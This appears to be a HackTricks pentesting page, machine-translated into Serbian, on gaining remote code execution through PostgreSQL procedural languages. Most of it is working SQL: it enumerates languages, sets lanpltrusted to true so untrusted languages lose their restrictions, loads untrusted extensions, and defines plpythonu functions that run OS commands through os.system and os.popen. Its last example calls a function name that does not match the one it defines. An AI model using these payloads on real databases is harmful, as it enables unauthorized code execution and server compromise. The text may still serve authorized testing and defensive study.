RCE with PostgreSQL Languages

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

PostgreSQL Jezici

PostgreSQL baza podataka do koje ste dobili pristup može imati instalirane različite skriptne jezike koje možete zloupotrebiti da izvršite proizvoljni kod.

Možete ih pokrenuti:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Većina skriptnih jezika koje možete instalirati u PostgreSQL-u ima 2 verzije: pouzdanu i nepouzdanu. Nepouzdana verzija će imati ime koje se završava sa "u" i to će biti verzija koja će vam omogućiti da izvršite kod i koristite druge zanimljive funkcije. Ovo su jezici koji su zanimljivi ako su instalirani:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (bilo koji drugi programski jezik koji koristi nesigurnu verziju)

Ako primetite da je zanimljiv jezik instaliran, ali je nepouzdan prema PostgreSQL-u (lanpltrusted je false), možete pokušati da mu verujete sa sledećom linijom kako PostgreSQL ne bi primenjivao nikakva ograničenja:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Ako ne vidite jezik, možete pokušati da ga učitate sa (morate biti superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Da biste izvršili udaljeni kod izvršavanja (RCE) pomoću jezika plpythonu/plpython3u, prvo morate proveriti da li je ova jezička ekstenzija instalirana na ciljnom PostgreSQL serveru. Možete to uraditi izvršavanjem sledećeg SQL upita:

SELECT * FROM pg_language;

Ako je jezička ekstenzija prisutna, možete je koristiti za izvršavanje proizvoljnog koda. Evo primera SQL upita koji demonstrira RCE:

CREATE OR REPLACE FUNCTION rce() RETURNS VOID AS $$
import os
os.system('COMMAND')
$$ LANGUAGE plpythonu;
SELECT rce();

Zamenite COMMAND sa željenom komandom koju želite da izvršite na ciljnom sistemu. Na primer, možete koristiti ls komandu da biste prikazali sadržaj direktorijuma. Nakon izvršavanja SQL upita, komanda će biti izvršena na ciljnom sistemu.

Napomena da je moguće kompajlirati sigurne verzije kao "nesigurne". Pogledajte ovde za primer. Stoga uvek vredi pokušati izvršiti kod čak i ako pronađete samo poverljivu verziju instaliranu.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Proverite sledeću stranicu:

pagePL/pgSQL Password Bruteforce

C

Proverite sledeću stranicu:

pageRCE with PostgreSQL Extensions
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Last updated